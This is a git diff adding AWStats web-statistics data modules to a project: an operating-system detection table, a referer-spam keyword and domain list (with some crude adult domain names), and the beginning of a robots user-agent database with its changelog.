href="http://www.redhat.com/" title="Red Hat home page [new window]" target="_blank">Red Hat</a>', +'linuxsuse','<a href="http://www.novell.com/linux/suse/" title="Suse home page [new window]" target="_blank">Suse</a>', +'linuxubuntu','<a href="http://www.ubuntulinux.org/" title="Ubuntu home page [new window]" target="_blank">Ubuntu</a>', +'linuxvector','<a href="http://vectorlinux.com/" title="VectorLinux home page [new window]" target="_blank">VectorLinux</a>', +'linuxvine','<a href="http://www.vinelinux.org/index-en.html" title="Vine Linux home page [new window]" target="_blank">Vine Linux</a>', +'linuxwhitebox','<a href="http://whiteboxlinux.org/" title="White Box Linux home page [new window]" target="_blank">White Box Linux</a>', +'linuxzenwalk','<a href="http://www.zenwalk.org/" title="Zenwalk GNU Linux home page [new window]" target="_blank">Zenwalk GNU Linux</a>', +'linux','<a href="http://www.distrowatch.com/" title="Linux DistroWatch home page. Useful if you find the associated user agent string in your logs. [new window]" target="_blank">Linux (Unknown/unspecified)</a>', +'linux','GNU Linux (Unknown or unspecified distribution)', +# Hurd +'gnu','<a href="http://www.gnu.org/software/hurd/hurd.html" title="GNU Hurd home page [new window]" target="_blank">GNU Hurd</a>', +# BSDs +'bsdi','<a href="http://en.wikipedia.org/wiki/BSDi" title="BSDi home page [new window]" target="_blank">BSDi</a>', +'bsdkfreebsd','<a href="http://www.debian.org/ports/kfreebsd-gnu/" title="Debian GNU/kFreeBSD" target="_blank">GNU/kFreeBSD</a>', +'freebsd','<a href="http://www.freebsd.org/" title="FreeBSD home page [new window]" target="_blank">FreeBSD</a>', # For backard compatibility +'bsdfreebsd','<a href="http://www.freebsd.org/" title="FreeBSD home page [new window]" target="_blank">FreeBSD</a>', +'openbsd','<a href="http://www.openbsd.org/" title="OpenBSD home page [new window]" target="_blank">OpenBSD</a>', # For backard compatibility +'bsdopenbsd','<a href="http://www.openbsd.org/" title="OpenBSD home page [new window]" target="_blank">OpenBSD</a>', +'netbsd','<a href="http://www.netbsd.org/" title="NetBSD home page [new window]" target="_blank">NetBSD</a>', # For backard compatibility +'bsdnetbsd','<a href="http://www.netbsd.org/" title="NetBSD home page [new window]" target="_blank">NetBSD</a>', +'bsddflybsd','<a href="http://www.dragonflybsd.org/" title="DragonFlyBSD home page [new window]" target="_blank">DragonFlyBSD</a>', +# Other Unix, Unix-like +'aix','<a href="http://www-1.ibm.com/servers/aix/" title="Aix home page [new window]" target="_blank">Aix</a>', +'sunos','<a href="http://www.sun.com/software/solaris/" title="Sun Solaris home page [new window]" target="_blank">Sun Solaris</a>', +'irix','<a href="http://www.sgi.com/products/software/irix/" title="Irix home page [new window]" target="_blank">Irix</a>', +'osf','<a href="http://www.tru64.org/" title="OSF Unix home page [new window]" target="_blank">OSF Unix</a>', +'hp\-ux','<a href="http://www.hp.com/products1/unix/operating/" title="HP UX home page [new window]" target="_blank">HP UX</a>', +'unix','Unknown Unix system', +# Other famous OS +'beos','<a href="http://www.beincorporated.com/" title="BeOS home page [new window]" target="_blank">BeOS</a>', +'os/2','<a href="http://www.ibm.com/software/os/warp/" title="OS/2 home page [new window]" target="_blank">OS/2</a>', +'amigaos','<a href="http://www.amiga.com/amigaos/" title="AmigaOS home page [new window]" target="_blank">AmigaOS</a>', +'atari','<a href="http://www.atarimuseum.com/computers/computers.html" title="Atari home page [new window]" target="_blank">Atari</a>', +'vms','<a href="http://h71000.www7.hp.com/" title="VMS home page [new window]" target="_blank">VMS</a>', +'commodore','<a href="http://en.wikipedia.org/wiki/Commodore_64" title="Commodore 64 wikipedia page [new window]" target="_blank">Commodore 64</a>', +'j2me','<a href="http://mobile.java.com/" title="Java Mobile home page [new window]" target="_blank">Java Mobile</a>', +'java','<a href="http://www.java.com/" title="Java home page [new window]" target="_blank">Java</a>', +'qnx','<a href="http://www.qnx.com/products/neutrino_rtos/" title="QNX home page [new window]" target="_blank">QNX</a>', +'inferno','<a href="http://www.vitanuova.com/inferno/" title="Inferno home page [new window]" target="_blank">Inferno</a>', +'palmos','<a href="http://www.palm.com/" title="Palm OS home page [new window]" target="_blank">Palm OS</a>', +'syllable','<a href="http://www.syllable.org/" title="Syllable home page [new window]" target="_blank">Syllable</a>', +# Miscellanous OS +'blackberry','BlackBerry', +'cp/m','<a href="http://www.digitalresearch.biz/CPM.HTM" title="CP/M home page [new window]" target="_blank">CP/M</a>', +'crayos','<a href="http://www.cray.com/" title="CrayOS home page [new window]" target="_blank">CrayOS</a>', +'dreamcast','<a href="http://www.sega.com/" title="Dreamcast home page [new window]" target="_blank">Dreamcast</a>', +'ios','<a href="http://www.apple.com/" title="Apple home page [new window]" target="_blank">iOS (iPhone/iPod/iPad/...)</a>', +'riscos','<a href="http://www.riscos.com/" title="RISC OS home page [new window]" target="_blank">RISC OS</a>', +'symbian','<a href="http://www.symbian.com/" title="Symbian OS home page [new window]" target="_blank">Symbian OS</a>', +'webtv','<a href="http://www.webtv.com/" title="WebTV home page [new window]" target="_blank">WebTV</a>', +'psp', '<a href="http://www.playstation.com/" title="Sony PlayStation home page [new window]" target="_blank">Sony PlayStation</a>', +'wii', '<a href="http://wii.opera.com/" title="Opera for Nintendo Wii home page [new window]" target="_blank">Nintendo Wii</a>' +); + + +1; + + +# Informations from microsoft for detecting windows version +# Windows 95 retail, OEM 4.00.950 7/11/95 +# Windows 95 retail SP1 4.00.950A 7/11/95-12/31/95 +# OEM Service Release 2 4.00.1111* (4.00.950B) 8/24/96 +# OEM Service Release 2.1 4.03.1212-1214* (4.00.950B) 8/24/96-8/27/97 +# OEM Service Release 2.5 4.03.1214* (4.00.950C) 8/24/96-11/18/97 +# Windows 98 retail, OEM 4.10.1998 5/11/98 +# Windows 98 Second Edition 4.10.2222A 4/23/99 +# Windows Me 4.90.3000 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/referer_spam.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/referer_spam.pm new file mode 100644 index 0000000..92bb613 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/referer_spam.pm @@ -0,0 +1,49 @@ +# AWSTATS REFERER SPAMMERS ADATABASE +#------------------------------------------------------- +# If you want to extend AWStats detection capabilities, +# you must add an entry in RefererSpamKeys +#------------------------------------------------------- +# $Revision: 1.7 $ - $Author: eldy $ - $Date: 2009/04/23 20:54:29 $ + + +#package AWSREFSPAMMERS; + + + +# RefererSpamKeys +# This list is used to know which keywords to search for in referer URLs +# to find if hits comes from a referer spammers. If referer URLs has a +# cost higher or equal to 4, it's a referer spammer. +# key, cost +#------------------------------------------------------- +%RefererSpamKeys = ( +'adult'=>1, +'anal'=>2, +'dick'=>1, +'erotic'=>2, # erotic, erotica +'gay'=>2, +'lesbian'=>2, +'free'=>1, +'porn'=>2, +'sex'=>2, + +'full-list.net'=>4, +'voodoomachine.com'=>4, +'mastodonte.com'=>4, +'surfnomore.com'=>4, +'raverpussies.com'=>4, +'quiveringfuckholes.com'=>4, +'burningbush.netfirms.com'=>4, +'lesbo-tennie-girls.lesbian-hardcore-porn-teen-pics.com'=>4, +'free-people-search-engines.com'=>4, +'iaea.org'=>4, +'1stchoicecolo.com'=>4, +'globoads.com'=>4, +'morganindustriesinc.com'=>4, +'chicagodrugclub.com'=>4, +'massivecocks.com'=>4, + +); + + +1; diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/robots.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/robots.pm new file mode 100644 index 0000000..adedc12 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/lib/robots.pm @@ -0,0 +1,1906 @@ +# AWSTATS ROBOTS DATABASE +#------------------------------------------------------- +# If you want to add robots to extend AWStats database detection capabilities, +# you must add an entry in RobotsSearchIDOrder_listx and RobotsHashIDLib. +#------------------------------------------------------- +# $Revision: 1.66 $ - $Author: eldy $ - $Date: 2013/06/05 16:22:25 $ + +# 2005-08-19 Sean Carlos http://www.antezeta.com/awstats.html +# added dipsie (not tested with real data). +# added DomainsDB.net http://domainsdb.net/ +# added ia_archiver-web.archive.org (was inadvertently grouped with Alexa traffic) +# added Nutch (used by looksmart (furl?)) +# added rssImagesBot +# added Sqworm +# added t\-h\-u\-n\-d\-e\-r\-s\-t\-o\-n\-e +# added w3c css-validator +# added documentation link to bot home pages for above and selected major bots. +# In the case of international bots, choose .com page. +# Included tool tip (html "title"). +# To do: parameterize to match both AWStats language and tooltips settings. +# To do: add html links for all bots based on current documentation in source +# files referenced below. +# changed '\wbot[\/\-]', to '\wbot[\/\-]' (removed comma) +# made minor grammar corrections to notes below +# 2005-08-24 added YahooSeeker-Testing +# added w3c-checklink +# updated url for ask.com +# 2005-08-24 added Girafabot http://www.girafa.com/ +# 2005-08-30 added PluckFeedCrawler http://www.pluck.com/ +# added Gaisbot/3.0 (robot05@gais.cs.ccu.edu.tw; ) +# dded geniebot (wgao@genieknows.com) +# added BecomeBot link http://www.become.com/site_owners.html +# added topicblogs http://www.topicblogs.com/ +# added Powermarks; seen used by referrer spam +# added YahooSeeker +# added NG/2. http://www.exabot.com/ +# 2005-09-15 added link for Walhello appie +# added bender focused_crawler +# updated YahooSeeker description (blog crawler) +# 2005-09-16 added link for http://linkchecker.sourceforge.net +# added ConveraCrawler/0.9d ( http://www.authoritativeweb.com/crawl) +# added Blogslive info@blogslive.com intelliseek.com +# added BlogPulse (ISSpider-3.0) intelliseek.com +# 2005-09-26 added Feedfetcher-Google (http://www.google.com/feedfetcher.html) +# added EverbeeCrawler +# added Yahoo-Blogs http://help.yahoo.com/help/us/ysearch/crawling/crawling-02.html +# added link for Bloglines http://www.bloglines.com +# 2005-10-19 fixed Feedfetcher-Google (http://www.google.com/feedfetcher.html) +# added Blogshares Spiders (Synchronized V1.5.1) +# added yacy +# 2005-11-21 added Argus www.simpy.com +# added BlogsSay :: RSS Search Crawler (http://www.blogssay.com/) +# added MJ12bot http://majestic12.co.uk/bot.php +# added OpenTaggerBot (http://www.opentagger.com/opentaggerbot.htm) +# added OutfoxBot/0.3 (For internet experiments; outfox.agent@gmail.com) +# added RufusBot Rufus Web Miner http://64.124.122.252.webaroo.com/feedback.html +# added Seekbot (http://www.seekbot.net/bot.html) +# added Yahoo-MMCrawler/3.x (mms-mmcrawler-support@yahoo-inc.com) +# added link for BaiDuSpider +# added link for Blogshares Spider +# added link for StackRambler http://www.rambler.ru/doc/faq.shtml +# added link for WISENutbot +# added link for ZyBorg/1.0 (wn-14.zyborg@looksmart.net; http://www.WISEnutbot.com. Moved location to above wisenut to avoid classification as wisenut +# 2005-12-15 +# added FAST Enteprise Crawler/6 (www dot fastsearch dot com). Note spelling Enteprise not Enterprise. +# added findlinks http://wortschatz.uni-leipzig.de/findlinks/ +# added IBM Almaden Research Center WebFountain™ http://www.almaden.ibm.com/cs/crawler [hc3] +# added INFOMINE/8.0 VLCrawler (http://infomine.ucr.edu/useragents) +# added lmspider (lmspider@scansoft.com) http://www.nuance.com/ +# added noxtrumbot http://www.noxtrum.com/ +# added SandCrawler (Microsoft) +# added SBIder http://www.sitesell.com/sbider.html +# added SeznamBot http://fulltext.seznam.cz/ +# added sohu-search http://corp.sohu.com/ (looked for //robots.txt not /robots.txt) +# added the ruffle SemanticWeb crawler v0.5 - http://www.unreach.net +# added WebVulnCrawl/1.0 libwww-perl/5.803 (looked for //robots.txt not /robots.txt) +# added Yahoo! Japan keyoshid http://www.yahoo.co.jp/ +# added Y!J http://help.yahoo.co.jp/help/jp/search/indexing/indexing-15.html +# added link for GigaBot +# added link for MagpieRSS +# added link for MSIECrawler +# 2005-12-21 +# added aipbot http://www.aipbot.com aipbot@aipbot.com [matthys70 users.sourceforge.net] +# added Everest-Vulcan Inc./0.1 (R&D project; http://everest.vulcan.com/crawlerhelp) +# added Fast-Search-Engine http://www.fast-search-engine.com/ [matthys70 users.sourceforge.net] +# added g2Crawler (nobody@airmail.net) http://crawler.instantnetworks.net/ +# added Jakarta commons-httpclient http://jakarta.apache.org/commons/httpclient/ (hit robots.txt). May be used as robot or browser - a site may want to remove this entry. +# added OmniExplorer_Bot http://www.omni-explorer.com/ [matthys70 users.sourceforge.net] +# added USTC-Semantic-Group ai.ustc.edu.cn/mas/en/research/index.php ? +# 2005-12-22 +# added EARTHCOM.info www.earthcom.info +# added HTTrack off-line browser 'httrack','HTTrack', http://www.httrack.com/ [Moizes Gabor] +# added KummHttp http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_g_l_301105_2\b [Moizes Gabor] +# 2006-01-01 +# added Dulance http://www.dulance.com/bot.jsp +# added MojeekBot http://www.mojeek.com/bot.html +# added nicebot http://www.egghelp.org/setup.htm ? +# added Snappy http://www.urltrends.com/faq.php +# added sohu agent +# added VORTEX http://marty.anstey.ca/robots/vortex/ [matthys70 users.sourceforge.net] +# added zspider http://feedback.redkolibri.com/ +# 2006-01-13 +# added boitho.com-dc http://www.boitho.com/dcbot.html +# added IRLbot http://irl.cs.tamu.edu/crawler +# added virus_detector virus_harvester@securecomputing.com +# added Wavefire http://www.wavefire.com; info@wavefire.com +# added WebFilter Robot +# 2006-01-24 +# added Shim-Crawler http://www.logos.ic.i.u-tokyo.ac.jp/crawler/; crawl@logos.ic.i.u-tokyo.ac.jp +# added Exabot exabot.com +# added LetsCrawl.com http://letscrawl.com +# added ichiro http://help.goo.ne.jp/door/crawlerE.html +# 2006-01-27 additional 22 robots from a list provided by Moizes Gabor +# added ALeadSoftbot http://www.aleadsoft.com/bot.htm +# added CipinetBot http://www.cipinet.com/bot.html +# added Cuasarbot http://www.cuasar.com/ +# added Dumbot http://www.dumbfind.com/ +# added Extreme_Picture_Finder http://www.exisoftware.com/ +# added Fooky.com/ScorpionBot/ScoutOut http://www.fooky.com/scorpionbots +# added IlTrovatore-Setaccio http://www.iltrovatore.it/aiuto/motore_di_ricerca.html bot@iltrovatore.it +# added InsurancoBot http://www.fastspywareremoval.com/ +# added InternetArchive http://lucene.apache.org/nutch/bot.html nutch-agent@lucene.apache.org +# added KazoomBot http://www.kazoom.ca/bot.html kazoombot@kazoom.ca +# added Kurzor http://www.easymail.hu/ cursor@easymail.hu +# added NutchCVS http://lucene.apache.org/nutch/bot.html nutch-agent@lucene.apache.org +# added NutchOSU-VLIB http://lucene.apache.org/nutch/bot.html nutch-agent@lucene.apache.org +# added Orbiter http://www.dailyorbit.com/bot.htm +# added PHP_version_tracker http://www.nexen.net/phpversion/bot.php +# added SuperBot http://www.sparkleware.com/superbot/ +# added SynooBot http://www.synoo.de/bot.html webmaster@synoo.com +# added TestBot http://www.agbrain.com/ +# added TutorGigBot http://www.tutorgig.info/ +# added WebIndexer mailto://webindexerv1@yahoo.com +# added WebMiner http://64.124.122.252/feedback.html +# 2006-02-01 +# added heritrix https://sourceforge.net/forum/message.php?msg_id=3550202 +# added Zeus Webster Pro https://sourceforge.net/forum/message.php?msg_id=3141164 +# additional robots from a list provided by Moizes Gabor [ mojzi -a-t- free mail hu ] +# added Candlelight_Favorites_Inspector +# added DomainChecker +# added EasyDL +# added FavOrg +# added Favorites_Sweeper +# added Html_Link_Validator +# added Internet_Ninja +# added JRTwine_Software_Check_Favorites_Utility +# fixed Microsoft_URL_Control +# added miniRank +# added Missigua_Locator +# added NPBot +# added Ocelli +# added Onet.pl_SA +# added proodleBot +# added SearchGuild_DMOZ_Experiment +# added Susie +# added Website_Monitoring_Bot +# added Xenu_Link_Sleuth +# 2006-05-15 +# added ASPseek http://www.aspseek.org/ +# added AdamM Bot http://home.blic.net/adamm/ +# added archive.org_bot http://crawls.archive.org/collections/bncf/crawl.html +# added arianna.libero.it (Italian Portal/search engine) +# added Biz360 spider http://www.biz360.com +# added BlogBridge Service http://www.blogbridge.com/ +# added BlogSearch http://www.icerocket.com/ +# added libcrawl +# added edgeio-relanshanbottriever http://www.edgeio.com +# added FeedFlow http://feedflow.com/about +# added Biblioteca Nazionale Centrale di Firenze (Italian National Archive) http://www.bncf.firenze.sbn.it/raccolta.txt +# added Java catchall - used by many spam bots +# added lanshanbot http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=%5Cbid_g_l_140406_1%5Cb +# added msnbot-media http://search.msn.com/msnbot.htm +# added MT::Telegraph::Agent +# added Netluchs http://www.netluchs.de/ (German SE bot) +# added oBot http://www.webmasterworld.com/forum11/1616.htm +# added Onfolio http://www.onfolio.com/ (IE Toolbar plugin) - hit rss feeds. +# added ping.blo.gs http://blo.gs/ping.php blog bot +# added Sphere Scout http://www.sphere.com/ +# added sproose crawler http://www.sproose.com/bot.html +# added SyndicAPI http://syndicapi.com/bot.html +# added Yahoo! Mindset http://mindset.research.yahoo.com/ +# added msrabot +# added Vagabondo & Vagabondo-WAP http://www.wise-guys.nl/Contact/index.php?botselected=webagents&lang=uk +# fixed Missigua Locator detection (Missigua_Locator -> Missigua Locator) +# changed echo to echo! to avoid conflict with the bonecho (Firefox 2.0) browser. +# This requires you to reprocess historic logs if you want EchO! to be recognized for older reports. +# 2006-05-17 +# added Alpha Search Agent # 62.152.125.60 Eurologon Srl +# added Krugle http://www.krugle.com/crawler/info.html the search engine for developers +# added Octora Beta Bot http://www.octora.com/ # Blog and Rss Search Engine +# added UbiCrawler http://law.dsi.unimi.it/ubicrawler/ +# added Yahoo! Slurp China http://misc.yahoo.com.cn/help.html +# You must reprocess old logs for the Yahoo! Slurp China bot to be detected in old reports +# 2006-05-20 +# added 1-More Scanner http://www.myzips.com/software/1-More-Scanner.phtml +# added Accoona-AI-Agent http://www.accoona.com/ +# added ActiveBookmark http://www.libmaster.com/active_bookmark.php +# added BIGLOTRON http://www.biglotron.com/robot.html +# added Bookmark-Manager http://bkm.sourceforge.net/ +# added cbn00glebot +# added Cerberian Drtrs http://www.pgts.com.au/cgi-bin/psql?robot_info=25240 +# added CFNetwork http://www.cocoadev.com/index.pl?CFNetwork +# added CheckWeb link validator http://p.duby.free.fr/chkweb.htm +# added Computer and Automation Research Institute Crawler http://www.ilab.sztaki.hu/~stamas/publications/p184-benczur.html +# added ConveraCrawler http://www.authoritativeweb.com/crawl/ +# added ConveraMultiMediaCrawler http://www.authoritativeweb.com/crawl/ +# added CSE HTML Validator Lite Online http://online.htmlvalidator.com/php/onlinevallite.php +# added Cursor http://adcenter.hu/docs/en/bot.html +# added Custo http://www.netwu.com/custo/ +# added DataFountains/DMOZ Downloader http://infomine.ucr.edu/ +# added Deepindex http://www.deepindex.net/faq.php +# added DNSGroup http://www.dnsgroup.com/ +# added DoCoMo http://www.nttdocomo.co.jp/ +# added dumm.de-Bot http://www.dumm.de/ +# added ETS v http://www.freetranslation.com/help/ +# added eventax http://www.eventax.de/ +# added FAST Enterprise Crawler * crawleradmin.t-info@telekom.de http://www.telekom.de/ +# added FAST Enterprise Crawler http://www.fast.no/ +# added FAST Enterprise Crawler * T-Info_BI_cluster crawleradmin.t-info@telekom.de http://www.telekom.de/ +# added FeedValidator http://feedvalidator.org/ +# added FilmkameraBot http://www.filmkamera.at/bot.html +# added Findexa Crawler http://www.findexa.no/gulesider/article26548.ece +# added Global Fetch http://www.wesonet.com/ +# added GOFORITBOT http://www.goforit.com/about/ +# added GoForIt.com http://www.goforit.com/about/ +# added GPU p2p crawler http://gpu.sourceforge.net/search_engine.php +# added HooWWWer http://cosco.hiit.fi/search/hoowwwer/ +# added HPPrint +# added HTMLParser http://htmlparser.sourceforge.net/ +# added Hundesuche.com-Bot http://www.hundesuche.com/ +# added InfoBot http://www.infobot.org/ +# added InfociousBot http://corp.infocious.com/tech_crawler.php +# added InternetSupervision http://internetsupervision.com/ +# added isearch2006 http://www.yahoo.com.cn/ +# added IUPUI_Research_Bot http://spamhuntress.com/2005/04/25/a-mail-harvester-visits/ +# added KalamBot http://64.124.122.251/feedback.html +# added kamano.de NewsFeedVerzeichnis http://www.kamano.de/ +# added Kevin http://dznet.com/kevin/ +# added KnowItAll http://www.cs.washington.edu/research/knowitall/ +# added Knowledge.com http://www.knowledge.com/ +# added Kouaa Krawler http://www.kouaa.com/ +# added ksibot http://ego.ms.mff.cuni.cz/ +# added Link Valet Online http://www.htmlhelp.com/tools/valet/ +# added lwp-request http://search.cpan.org/~gaas/libwww-perl-5.69/bin/lwp-request +# added lwp-trivial http://search.cpan.org/src/GAAS/libwww-perl-5.805/lib/LWP/Simple.pm +# added MapoftheInternet.com http://MapoftheInternet.com/ +# added Matrix S.p.A. - FAST Enterprise Crawler http://tin.virgilio.it/ +# added Megite http://www.megite.com/ +# added Metaspinner http://index.meta-spinner.de/ +# added Mini-reptile +# added Misterbot http://www.misterbot.fr/ +# added Miva http://www.miva.com/ +# added Mizzu Labs http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_m_141105_2\b +# added MSRBOT http://research.microsoft.com/research/sv/msrbot/ +# added MS SharePoint Portal Server - MS Search 4.0 Robot http://support.microsoft.com/default.aspx?scid=kb;en-us;284022 +# added Mydoyouhike http://www.doyouhike.net/my +# added NASA Search http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_140506_2\b +# added NetSprint http://www.netsprint.pl/serwis/ +# added NimbleCrawler http://www.healthline.com/ +# added OpenWebSpider http://www.openwebspider.org/ +# added Oracle Ultra Search http://www.oracle.com/technology/products/ultrasearch/index.html +# added OSSProxy http://www.marketscore.com/FAQ.Aspx +# added passwordmaker.org http://passwordmaker.org/ +# added PEAR HTTP Request class http://pear.php.net/ +# added PEERbot http://www.peerbot.com/ +# added PHP version tracker http://www.nexen.net/phpversion/bot.php +# added PictureOfInternet http://malfunction.org/poi/ +# added plinki http://www.plinki.com/ +# added Port Huron Labs http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_1133\b +# added PostFavorites http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_n_s_1135\b +# added ProjectWF-java-test-crawler +# added PyQuery http://sourceforge.net/projects/pyquery/ +# added Schizozilla http://spamhuntress.com/2005/03/18/gizmo/ +# added Scumbot +# added Sensis Web Crawler http://www.sensis.com.au/ +# added snap.com beta crawler http://www.snap.com/ +# added Steeler http://www.tkl.iis.u-tokyo.ac.jp/~crawler/ +# added STEROID Download http://faqs.org.ru/progr/pascal/delphi_internet2.htm +# added Suchfin-Bot http://www.suchfin.de/ +# added Sunrise http://www.sunrisexp.com/ +# added Tagyu Agent http://www.tagyu.com/ +# added Tcl http client package http://www.tcl.tk/man/tcl8.4/TclCmd/http.htm +# added TeragramCrawlerSURF http://www.teragram.com/ +# added Test Crawler http://netp.ath.cx/ +# added UnChaos Bot Hybrid Web Search Engine http://www.unchaos.com/ +# added unido-bot http://www.unchina.org/unido/unido/our_projects/3_3.html +# added UniversalFeedParser http://feedparser.org/ (seen from md301000.inktomisearch.com) +# added updated http://www.updated.com/ +# added Vermut http://vermut.aol.com +# added versus crawler from eda.baykan@epfl.ch http://www.epfl.ch/Eindex.html +# added Vespa Crawler (Yahoo Norway?) http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=%5Cbid_t_z_030406_1%5Cb +# added VSE http://www.vivisimo.com/ +# added webcrawl.net http://www.webcrawl.net/ +# added Web Downloader http://www.krasu.ru/soft/chuchelo/ +# added Webdup http://www.webdup.com/en/index.html +# added Wells Search http://www.psychedelix.com/cgi-bin/csv2html.pl?data=allagents.csv&template=detail.html&match=\bid_t_z_1484\b +# added WordPress http://wordpress.org/ +# added wume crawler http://wume.cse.lehigh.edu/~xiq204/crawler/ +# added Xenu's Link Sleuth (with ') +# added xirq http://www.xirq.com/ +# added yoogliFetchAgent http://www.yoogli.com/ +# added Z-Add Link Checker http://w3.z-add.co.uk/linkcheck/ +# -- fix - some robots were reported with _ where _ should have been a space. +# changed Xenu Link Sleuth +# changed microsoft[_+ ]url[_+ ]control -> microsoft_url_control +# changed favorites_sweeper -> favorites_sweeper +# -- updates +# updated AskJeeves to Ask + +# to do MS Search 4.0 Robot + +#package AWSROB; + + +# Robots list was found at http://www.robotstxt.org/wc/active/all.txt +# Other robots can be found at http://www.jafsoft.com/searchengines/webbots.html +# Rem: To avoid bad detection, some robot's ids were removed from this list: +# - Robots with ID of 3 letters only +# - Robots called 'webs' and 'tcl' +# Rem: directhit changed into direct_hit (its real id) +# Rem: calif changed into calif[^r] to avoid confusion between Tiscalifreenet browser +# Rem: fish changed into [^a]fish to avoid confusion between Madsafish browser +# Rem: roadrunner changed into road_runner +# Rem: lycos changed to lycos_ to avoid confusion with lycos-online browser +# Rem: voyager changed into ^voyager\/ to avoid to exclude voyager and amigavoyager browser + +# RobotsSearchIDOrder +# It contains all matching criteria to search for in log fields. This list is +# used to know in which order to search Robot IDs. +# Most frequent ones are in list1, used when LevelForRobotsDetection is 1 or more +# Minor robots are in list2, used when LevelForRobotsDetection is 2 or more +# Note: Robots IDs are in lower case, '_', ' ' and '+' are changed into '[_+ ]' and are quoted. +#------------------------------------------------------- +@RobotsSearchIDOrder_list1 = ( +# Common robots (In robot file) +'appie', +'architext', +'bingpreview', +'bjaaland', +'contentmatch', +'ferret', +'googlebot', +'google\-sitemaps', +'google[_+ ]web[_+ ]preview', +'gulliver', +'virus[_+ ]detector', # Must be before harvest +'harvest', +'htdig', +'jeeves', +'linkwalker', +'lilina', +'lycos[_+ ]', +'moget', +'muscatferret', +'myweb', +'nomad', +'scooter', +'slurp', +'^voyager\/', +'weblayers', +# Common robots (Not in robot file) +'antibot', +'bruinbot', +'digout4u', +'echo!', +'fast\-webcrawler', +'ia_archiver\-web\.archive\.org', # Must be before ia_archiver to avoid confusion with alexa +'ia_archiver', +'jennybot', +'mercator', +'netcraft', +'msnbot\-media', +'msnbot', +'petersnews', +'relevantnoise\.com', +'unlost_web_crawler', +'voila', +'webbase', +'webcollage', +'cfetch', +'zyborg', # Must be before wisenut +'wisenutbot' +); +@RobotsSearchIDOrder_list2 = ( +# Less common robots (In robot file) +'[^a]fish', +'abcdatos', +'acme\.spider', +'ahoythehomepagefinder', +'alkaline', +'anthill', +'arachnophilia', +'arale', +'araneo', +'aretha', +'ariadne', +'powermarks', +'arks', +'aspider', +'atn\.txt', +'atomz', +'auresys', +'backrub', +'bbot', +'bigbrother', +'blackwidow', +'blindekuh', +'bloodhound', +'borg\-bot', +'brightnet', +'bspider', +'cactvschemistryspider', +'calif[^r]', +'cassandra', +'cgireader', +'checkbot', +'christcrawler', +'churl', +'cienciaficcion', +'collective', +'combine', +'conceptbot', +'coolbot', +'core', +'cosmos', +'cruiser', +'cusco', +'cyberspyder', +'desertrealm', +'deweb', +'dienstspider', +'digger', +'diibot', +'direct_hit', +'dnabot', +'download_express', +'dragonbot', +'dwcp', +'e\-collector', +'ebiness', +'elfinbot', +'emacs', +'emcspider', +'esther', +'evliyacelebi', +'fastcrawler', +'feedcrawl', +'fdse', +'felix', +'fetchrover', +'fido', +'finnish', +'fireball', +'fouineur', +'francoroute', +'freecrawl', +'funnelweb', +'gama', +'gazz', +'gcreep', +'getbot', +'geturl', +'golem', +'gougou', +'grapnel', +'griffon', +'gromit', +'gulperbot', +'hambot', +'havindex', +'hometown', +'htmlgobble', +'hyperdecontextualizer', +'iajabot', +'iaskspider', +'hl_ftien_spider', +'sogou', +'iconoclast', +'ilse', +'imagelock', +'incywincy', +'informant', +'infoseek', +'infoseeksidewinder', +'infospider', +'inspectorwww', +'intelliagent', +'irobot', +'iron33', +'israelisearch', +'javabee', +'jbot', +'jcrawler', +'jobo', +'jobot', +'joebot', +'jubii', +'jumpstation', +'kapsi', +'katipo', +'kilroy', +'ko[_+ ]yappo[_+ ]robot', +'kummhttp', +'labelgrabber\.txt', +'larbin', +'legs', +'linkidator', +'linkscan', +'lockon', +'logo_gif', +'macworm', +'magpie', +'marvin', +'mattie', +'mediafox', +'merzscope', +'meshexplorer', +'mindcrawler', +'mnogosearch', +'momspider', +'monster', +'motor', +'muncher', +'mwdsearch', +'ndspider', +'nederland\.zoek', +'netcarta', +'netmechanic', +'netscoop', +'newscan\-online', +'nhse', +'northstar', +'nzexplorer', +'objectssearch', +'occam', +'octopus', +'openfind', +'orb_search', +'packrat', +'pageboy', +'parasite', +'patric', +'pegasus', +'perignator', +'perlcrawler', +'phantom', +'phpdig', +'piltdownman', +'pimptrain', +'pioneer', +'pitkow', +'pjspider', +'plumtreewebaccessor', +'poppi', +'portalb', +'psbot', +'python', +'raven', +'rbse', +'resumerobot', +'rhcs', +'road_runner', +'robbie', +'robi', +'robocrawl', +'robofox', +'robozilla', +'roverbot', +'rules', +'safetynetrobot', +'search\-info', +'search_au', +'searchprocess', +'senrigan', +'sgscout', +'shaggy', +'shaihulud', +'sift', +'simbot', +'site\-valet', +'sitetech', +'skymob', +'slcrawler', +'smartspider', +'snooper', +'solbot', +'speedy', +'spider[_+ ]monkey', +'spiderbot', +'spiderline', +'spiderman', +'spiderview', +'spry', +'sqworm', +'ssearcher', +'suke', +'sunrise', +'suntek', +'sven', +'tach_bw', +'tagyu_agent', +'tailrank', +'tarantula', +'tarspider', +'techbot', +'templeton', +'titan', +'titin', +'tkwww', +'tlspider', +'ucsd', +'udmsearch', +'universalfeedparser', +'urlck', +'valkyrie', +'verticrawl', +'victoria', +'visionsearch', +'voidbot', +'vwbot', +'w3index', +'w3m2', +'wallpaper', +'wanderer', +'wapspIRLider', +'webbandit', +'webcatcher', +'webcopy', +'webfetcher', +'webfoot', +'webinator', +'weblinker', +'webmirror', +'webmoose', +'webquest', +'webreader', +'webreaper', +'websnarf', +'webspider', +'webvac', +'webwalk', +'webwalker', +'webwatch', +'whatuseek', +'whowhere', +'wired\-digital', +'wmir', +'wolp', +'wombat', +'wordpress', 